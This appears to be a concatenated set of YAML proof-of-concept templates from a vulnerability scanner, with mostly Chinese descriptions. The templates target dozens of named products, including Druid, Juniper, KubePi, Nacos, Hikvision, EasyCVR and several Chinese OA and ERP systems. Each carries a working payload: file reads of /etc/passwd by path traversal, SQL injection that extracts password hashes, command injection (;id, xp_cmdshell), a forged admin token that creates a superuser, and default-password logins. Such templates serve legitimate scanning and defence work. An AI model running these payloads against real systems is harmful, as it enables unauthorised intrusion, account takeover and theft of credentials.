poc-yaml-Docker-RemoteAPI-leak 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - /info 6 | - /version 7 | - /images/json 8 | expression: 9 | status: 200 10 | body_any: 11 | - "ID" 12 | - "Containers" 13 | - "Version" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Druidun-cve-2021-36749.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Druidun-cve-2021-36749 2 | description: "可使用使用file://协议进行读取文件" 3 | method: POST 4 | headers: 5 | Content-Type: "application/json" 6 | body: > 7 | { 8 | "type":"index", 9 | "spec":{ 10 | "type":"index", 11 | "ioConfig":{ 12 | "type":"index", 13 | "firehose":{ 14 | "type":"http", 15 | "uris":["file:///etc/passwd"] 16 | } 17 | }, 18 | "dataSchema":{ 19 | "dataSource":"sample", 20 | "parser":{ 21 | "type":"string", 22 | "parseSpec":{ 23 | "format":"regex", 24 | "pattern":"(.*)", 25 | "columns":["a"], 26 | "dimensionsSpec":{}, 27 | "timestampSpec":{ 28 | "column":"!!!_no_such_column_!!!", 29 | "missingValue":"2010-01-01T00:00:00Z" 30 | } 31 | } 32 | } 33 | } 34 | }, 35 | "samplerConfig":{ 36 | "numRows":500, 37 | "timeoutMs":15000 38 | } 39 | } 40 | path: 41 | - "/druid/indexer/v1/sampler?for=connect" 42 | expression: 43 | status: 200 44 | body_any: 45 | - "root:x:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-EAA-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-EAA益和应用接入系统-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini 6 | expression: 7 | status: 200 8 | body_all: 9 | - "16-bit" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-EOffice-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-泛微-EOffice-sql 2 | description: "SQL注入" 3 | method: GET 4 | path: 5 | - "/E-mobile/flowdo_page.php?diff=delete&RUN_ID=(SELECT%20(CASE%20WHEN%20(2080=2080)%20THEN%201%20ELSE%20(SELECT%204346%20UNION%20SELECT%201731)%20END))*" 6 | - "/E-mobile/flowdo_page.php?diff=delete&flowid=1" 7 | - "/E-mobile/flowimage_page.php?FLOW_ID=2" 8 | - "/E-mobile/diaryother_page.php?searchword=23" 9 | - "/E-mobile/create/ajax_do.php?diff=word&sortid=1" 10 | - "/E-mobile/create/ajax_do.php?diff=word&idstr=1" 11 | - "/E-mobile/flow/freeflowimg.php?RUN_ID=" 12 | - "/E-mobile/create/ajax_do.php?diff=addr&sortid=1" 13 | - "/E-mobile/create/ajax_do.php?diff=addr&userdept=1" 14 | - "/E-mobile/create/ajax_do.php?diff=addr&userpriv=1" 15 | - "/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1" 16 | - "/E-mobile/flow/flowhave_page.php?detailid=2,3" 17 | - "/E-mobile/flow/flowtype_free.php?flowid=1" 18 | - "/E-mobile/flow/flowtype_free.php?runid=1" 19 | - "/E-mobile/flow/flowtype_other.php?flowid=1" 20 | - "/E-mobile/flow/flowtype_other.php?runid=1" 21 | - "/E-mobile/flow/freeflowimage_page.php?fromid=2" 22 | - "/E-mobile/flow/freeflowimage_page.php?diff=new&runid=2" 23 | 24 | expression: 25 | status: 200 26 | body_any: 27 | - "mysql_fetch_array" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-EasyCVR-default-password.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-EasyCVR视频管理平台-默认账户密码 2 | description: "登录方式:easycvr/easycvr" 3 | method: GET 4 | path: 5 | - /api/v1/login?_t=1696841652&username=easycvr&password=5cdecdb8e87a0db1fe6e35555a870ae5 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Token" 10 | - "id" 11 | 12 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-EasyCVR-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-EasyCVR视频管理平台-leak 2 | description: "用户密码信息泄露" 3 | method: GET 4 | path: 5 | - /api/v1/userlist?pageindex=0&pagesize=10 6 | expression: 7 | status: 200 8 | body_all: 9 | - "count" 10 | - "Name" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Everything-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Everything-unauth 2 | description: "Everything未授权访问" 3 | method: GET 4 | path: 5 | - / 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Everything" 10 | - "索引 /" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Gerapy-admin-default.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Gerapy-admin-default 2 | description: "登录方式:admin/admin" 3 | method: POST 4 | headers: 5 | Content-Type: "application/json" 6 | body: > 7 | {"username":"admin","password":"admin"} 8 | path: 9 | - /api/user/auth 10 | expression: 11 | status: 200 12 | body_any: 13 | - "token" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-HIKVISION-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-HIKVISION-综合安防管理平台-leak 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - /artemis-portal/artemis/env 6 | - /artemis-portal/artemis/metrics 7 | - /artemis-portal/artemis/loggers 8 | - /artemis-portal/artemis/mappings 9 | - /artemis-portal/artemis/health 10 | expression: 11 | status: 200 12 | body_any: 13 | - "database" 14 | - "profiles" 15 | - "processors" 16 | - "levels" 17 | - "/webjars/" 18 | 19 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-HJSOFT-HCM-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-人力资源信息管理系统-CNVD-2023-08743 2 | description: "SQL注入" 3 | method: GET 4 | body: "op=verify%7Clogin&targetpage=&errorpage=WEB-INF/web.xml&mark=&tzo=480&username=admin&password=admin" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d 9 | expression: 10 | status: 200 11 | body_all: 12 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-HiveServer-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-HiveServer-unauth 2 | description: "HiveServer未授权访问" 3 | method: GET 4 | path: 5 | - / 6 | expression: 7 | status: 200 8 | body_all: 9 | - "HiveServer" 10 | - "Active Sessions" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Jenkins-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Jenkins-unauth 2 | description: "Jenkins未授权访问" 3 | method: GET 4 | path: 5 | - / 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Dashboard" 10 | - "Jenkins" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-JumpServer-CVE-2023-42442.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-JumpServer-CVE-2023-42442 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - "/api/v1/terminal/sessions/" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "id" 10 | - "user" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Juniper-CVE-2023-36845.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Juniper-CVE-2023-36845 2 | description: "CVE-2023-36845" 3 | method: POST 4 | body: auto_prepend_file="/etc/passwd" 5 | headers: 6 | Upgrade-Insecure-Requests: 1 7 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 8 | Content-Type: "application/x-www-form-urlencoded" 9 | path: 10 | - /?PHPRC=/dev/fd/0 11 | expression: 12 | status: 200 13 | body_any: 14 | - "root:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-JupyterLab-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-JupyterLab-unauth 2 | description: "未授权访问" 3 | method: GET 4 | path: 5 | - /lab? 6 | expression: 7 | status: 200 8 | body_all: 9 | - "settings" 10 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-KubePi-createuser.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-K8S管理面板-KubePi-createuser 2 | description: "任意用户创建,登录方式:TTTest/test" 3 | method: POST 4 | headers: 5 | Authorization: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8" 6 | Accept: "application/json" 7 | Content-Type: "application/json" 8 | Upgrade-Insecure-Requests: 1 9 | User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 10 | Accept-Encoding: "gzip, deflate" 11 | Connection: "close" 12 | body: > 13 | { 14 | "authenticate": { 15 | "password": "test" 16 | }, 17 | "email": "testtest@TTTest.com", 18 | "isAdmin": true, 19 | "mfa": { 20 | "enable": false 21 | }, 22 | "name": "TTTest", 23 | "nickName": "test", 24 | "roles": [ 25 | "Supper User" 26 | ] 27 | } 28 | 29 | path: 30 | - /kubepi/api/v1/users 31 | expression: 32 | status: 200 33 | body_any: 34 | - "testtest@TTTest.com" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Landray-OA-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-蓝凌OA-Diretory 2 | description: "任意文件读取" 3 | method: POST 4 | headers: 5 | Content-Type: "application/x-www-form-urlencoded" 6 | body: > 7 | var={"body":{"file":"file:///etc/passwd"}} 8 | path: 9 | - /sys/ui/extend/varkind/custom.jsp 10 | expression: 11 | status: 200 12 | body_all: 13 | - "root:x" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Lightdash-CVE-2023-35844.yaml: -------------------------------------------------------------------------------- 1 | name: Lightdash-cve-2023-35844 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - "/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd" 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root" 10 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-MinIO-CVE-2023-28432.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-MinIO-CVE-2023-28432 2 | description: "敏感信息泄露" 3 | method: POST 4 | headers: 5 | Content-Type: "application/x-www-form-urlencoded" 6 | path: 7 | - /minio/bootstrap/v1/verify 8 | expression: 9 | status: 200 10 | body_any: 11 | - "Env" 12 | - "MINIO" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Mongo-express-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Mongo-express-unauth 2 | description: "Mongo-express未授权访问" 3 | method: GET 4 | path: 5 | - "/" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "/db/admin" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-NUUO-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-NUUO摄像头-cmd 2 | description: "任意命令执行" 3 | method: GET 4 | path: 5 | - /__debugging_center_utils___.php?log=;id 6 | expression: 7 | status: 200 8 | body_any: 9 | - "uid=" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Nacos-CVE-2021-29441.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Nacos-CVE-2021-29441 2 | description: "权限认证绕过" 3 | method: GET 4 | path: 5 | - /nacos/v1/auth/users?pageNo=1&pageSize=10 6 | expression: 7 | status: 200 8 | body_all: 9 | - "username" 10 | - "password" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Nacos-admin-default-password.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Nacos-admin-default-password 2 | description: "默认账号密码:nacos/nacos" 3 | method: POST 4 | body: "username=nacos&password=nacos" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /nacos/v1/auth/users/login 9 | expression: 10 | status: 200 11 | body_any: 12 | - "accessToken" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-NexusManager-CVE-2024-4956.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-NexusManager-CVE-2024-4956 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Node-Exporter-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Node-Exporter-unauth 2 | description: "metrics接口信息泄露" 3 | method: GET 4 | path: 5 | - /metrics 6 | expression: 7 | status: 200 8 | body_any: 9 | - "go_gc" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Node-RED-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Node-RED-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:x" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Prometheus-unatuh.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Prometheus-unatuh 2 | description: "Prometheus监控系统未授权访问" 3 | method: GET 4 | path: 5 | - / 6 | expression: 7 | status: 200 8 | body_any: 9 | - "GLOBAL_CONSOLES_LINK" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Ruijie-CVE-2023-4415.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-锐捷网络-CVE-2023-4415.yaml 2 | description: "锐捷RG-EW1200G登录绕过" 3 | method: POST 4 | body: > 5 | {"username":"2","password":"123","timestamp":1692412880000} 6 | headers: 7 | Content-Type: "application/json" 8 | path: 9 | - /api/sys/login 10 | expression: 11 | status: 200 12 | body_any: 13 | - "登入成功" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-SXF-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-深信服-应用交付管理系统-cmd 2 | description: "任意命令执行" 3 | method: POST 4 | body: "userID=admin%0Aid%0A&userPsw=123&page=login&log_type=report&index=index&clsMode=cls_mode_login&rnd=0.9709373567217479" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | path: 8 | - /rep/login 9 | expression: 10 | status: 200 11 | body_all: 12 | - "uid" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-SonarQube-auth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-SonarQube-代码管理-auth 2 | description: "接口存在信息泄露漏洞可以获取部分敏感信息" 3 | method: GET 4 | path: 5 | - /api/settings/values 6 | expression: 7 | status: 200 8 | body_any: 9 | - "key" 10 | - "value" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-SpringActuatorHeapdump.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-SpringActuatorHeapdump 2 | description: "可下载内存文件,文件中会包含大量敏感信息" 3 | method: HEAD 4 | path: 5 | - /actuator/heapdump 6 | expression: 7 | status: 200 8 | content_type: "application/octet-stream" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-TTX-CMS.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-通天星CMS-sql 2 | description: "SQL注入" 3 | method: GET 4 | path: 5 | - "/run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1" 6 | expression: 7 | status: 200 8 | body_all: 9 | - "message" 10 | - "OK" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-TamronOS-IPTV-createuser.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-TamronOS-IPTV-createuser 2 | description: "可创建任意用户" 3 | method: GET 4 | path: 5 | - /api/manager/submit?group=1&username=test&password=123456 6 | expression: 7 | status: 200 8 | body_any: 9 | - "成功" 10 | - "true" 11 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-TamronOS-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-TamronOS-IPTV-cmd 2 | description: "可任意执行命令" 3 | method: GET 4 | path: 5 | - /api/ping?count=5&host=;id; 6 | expression: 7 | status: 200 8 | body_any: 9 | - "uid" 10 | - "gid" 11 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Tencent-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Tencent-企业微信-leak 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - /cgi-bin/gateway/agentinfo 6 | expression: 7 | status: 200 8 | body_all: 9 | - "strcorpid" 10 | - "Secret" 11 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Tenda-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Tenda路由器-leak 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - /cgi-bin/DownloadCfg.jpg 6 | expression: 7 | status: 200 8 | body_all: 9 | - "passwd" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-WIFISKY-admin-default-passwd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-WIFISKY7层流控路由器-admin-default-passwd 2 | description: "登录方式:admin/admin" 3 | method: POST 4 | headers: 5 | Content-Type: " application/x-www-form-urlencoded; charset=UTF-8" 6 | User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 7 | Accept-Encoding: "gzip, deflate" 8 | Connection: "close" 9 | body: "username=admin&password=admin" 10 | path: 11 | - /login.php?action=login&type=admin 12 | expression: 13 | status: 200 14 | body_any: 15 | - "success" 16 | - "您正在使用默认密码登录" 17 | - "注销" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-WYXY-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-网御星云-上网行为管理系统-sql 2 | description: "SQL注入" 3 | method: GET 4 | path: 5 | - "/bottomframe.cgi?user_name=%27))%20union%20select%20user()%23" 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-XXLJOB-admin-default-passwd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-XXLJOB-admin-default-passwd 2 | description: "登录方式:admin/123456" 3 | method: POST 4 | body: "userName=admin&password=123456" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | path: 8 | - /login 9 | expression: 10 | status: 200 11 | body_all: 12 | - "修改密码" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Zabbix-default-passwd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-ZABBIX-监控系统-default-passwd 2 | description: "登录方式:Admin/zabbix" 3 | method: POST 4 | body: "name=Admin&password=zabbix&autologin=1&enter=Sign+in" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | Accept: "*/*" 8 | X-Requested-With: "XMLHttpRequest" 9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" 10 | Encoding: "gzip, deflate" 11 | Accept-Language: "zh-CN,zh;q=0.9" 12 | Connection: "close" 13 | path: 14 | - /index.php 15 | expression: 16 | status: 200 17 | body_all: 18 | - "Dashboard" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-activemq-admin-default-password.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-activemq-admin-default-password 2 | description: "默认账号密码:admin/admin" 3 | method: GET 4 | headers: 5 | Authorization: "Basic YWRtaW46YWRtaW4=" 6 | path: 7 | - /admin/ 8 | expression: 9 | status: 200 10 | body_all: 11 | - "Welcome" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-bdzdaqpt-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-北斗主动安全云平台-Directory 2 | description: "任意文件下载" 3 | method: GET 4 | path: 5 | - "/808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "jdbc" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-dhcsafxt-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-大华城市安防监控系统平台-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:x" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-dhyqgl-userleak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-大华智慧园区综合管理平台-userleak 2 | description: "用户密码泄露" 3 | method: GET 4 | path: 5 | - /admin/user_getUserInfoByUserName.action?userName=system 6 | expression: 7 | status: 200 8 | body_all: 9 | - "loginPass" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-docker-registry-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-docker-registry-unauth 2 | description: "docker-registry未授权访问" 3 | method: GET 4 | path: 5 | - /home 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Report a bug" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-dubbo-admin-default-password.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-dubbo-admin-default-password 2 | description: "dubbo默认账号密码:root/root" 3 | method: GET 4 | headers: 5 | Authorization: "Basic cm9vdDpyb290" 6 | path: 7 | - / 8 | expression: 9 | status: 200 10 | body_all: 11 | - "Dubbo Admin" 12 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-e-Bridge-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-泛微云桥e-Bridge-sql 2 | description: "sql注入" 3 | method: GET 4 | path: 5 | - /taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=1%27%20AND%20(SELECT%208094%20FROM%20(SELECT(SLEEP(5-(IF(18015%3e3469,0,4)))))mKjk)%20OR%20%27KQZm%27=%27REcX 6 | expression: 7 | status: 200 8 | body_all: 9 | - "添加体验账号程序异常" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-fqhl-FE-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-飞企互联-FE业务协作平台-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print 6 | expression: 7 | status: 200 8 | body_all: 9 | - "jdbc.url" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-gld-OA-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-广联达OA-sql 2 | description: "sql注入" 3 | method: POST 4 | body: "key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | path: 8 | - /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary 9 | expression: 10 | status: 200 11 | body_all: 12 | - "admin" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-go-pprof-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-go-pprof-leak 2 | description: "Go语言pprof包中的api信息泄露" 3 | method: GET 4 | path: 5 | - /debug/pprof/ 6 | # - /debug/pprof/goroutine?debug=1 7 | expression: 8 | status: 200 9 | body_any: 10 | - "/debug/pprof/" 11 | - "available" 12 | - "goroutine" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-hcjcyjxt-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-华测监测预警系统-Directory 2 | description: "任意文件读取" 3 | method: POST 4 | body: "filename=1&filepath=..%2F..%2Fweb.config" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /Handler/FileDownLoad.ashx 9 | expression: 10 | status: 200 11 | body_all: 12 | - "SysName" 13 | - "SysNameEn" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-hikvision-cve-2017-7921.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-hikvision-cve-2017-7921 2 | description: "可检索所有用户及其角色的列表、获取相机快照、下载摄像头配置账号密码文件" 3 | method: GET 4 | path: 5 | - /system/deviceInfo?auth=YWRtaW46MTEK 6 | expression: 7 | status: 200 8 | body_all: 9 | - "userName" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-jindir-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-金蝶云星空管理中心-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /CommonFileServer/c%3a%2fwindows%2fwin.ini 6 | expression: 7 | status: 200 8 | body_all: 9 | - "16-bit" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-jinhe-oa-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-金和网络-金和OA-sql 2 | description: "sql注入" 3 | method: GET 4 | timeout: 10 5 | path: 6 | - "/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1%3bWAITFOR+DELAY+%270%3a0%3a5%27+--%20and%201=1" 7 | expression: 8 | status: 200 9 | body_all: 10 | - "id" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-jshERP-ensitive-information.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-华夏ERP-Sensitive-information 2 | description: "用户名和密码敏感漏洞" 3 | method: GET 4 | path: 5 | - "/jshERP-boot/user/getAllList;.ico" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "userList" 10 | - "code" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-kibana-unatuh.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-kibana-unauth 2 | description: "kibana未授权访问" 3 | method: GET 4 | path: 5 | - / 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Inter UI" 10 | - "add-scripts-here" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-kibana-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-kibana-unauth 2 | description: "kibana未授权访问" 3 | method: GET 4 | path: 5 | - "/app/kibana" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "kibanaWelcomeView" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-mi-route-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-小米路由器-Directory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /api-third-party/download/extdisks../etc/passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-nginxWebUI-runCmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-nginxWebUI-runCmd 2 | description: "后台执行任意命令" 3 | method: GET 4 | path: 5 | - /AdminPage/conf/runCmd?cmd=cat%20/etc/passwd 6 | expression: 7 | status: 200 8 | body_any: 9 | - "root:x" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-nps-defaultpasswd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-NPS内网穿透-defaultpasswd 2 | description: "登录方式:admin/123" 3 | method: POST 4 | body: "username=admin&password=123" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | Accept: "*/*" 8 | X-Requested-With: "XMLHttpRequest" 9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" 10 | Encoding: "gzip, deflate" 11 | Accept-Language: "zh-CN,zh;q=0.9" 12 | Connection: "close" 13 | path: 14 | - /login/verify 15 | expression: 16 | status: 200 17 | body_any: 18 | - "success" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-qwza-erp-runcmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-企望制造ERP系统-runcmd 2 | description: "企望制造ERP系统执行任意命令" 3 | method: POST 4 | body: "comboxsql=exec%20xp_cmdshell%20'whoami'" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /mainFunctions/comboxstore.action 9 | expression: 10 | status: 200 11 | body_all: 12 | - "system" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-sangfor-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-深信服-防火墙-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /svpn_html/loadfile.php?file=/etc/./passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:" -------------------------------------------------------------------------------- 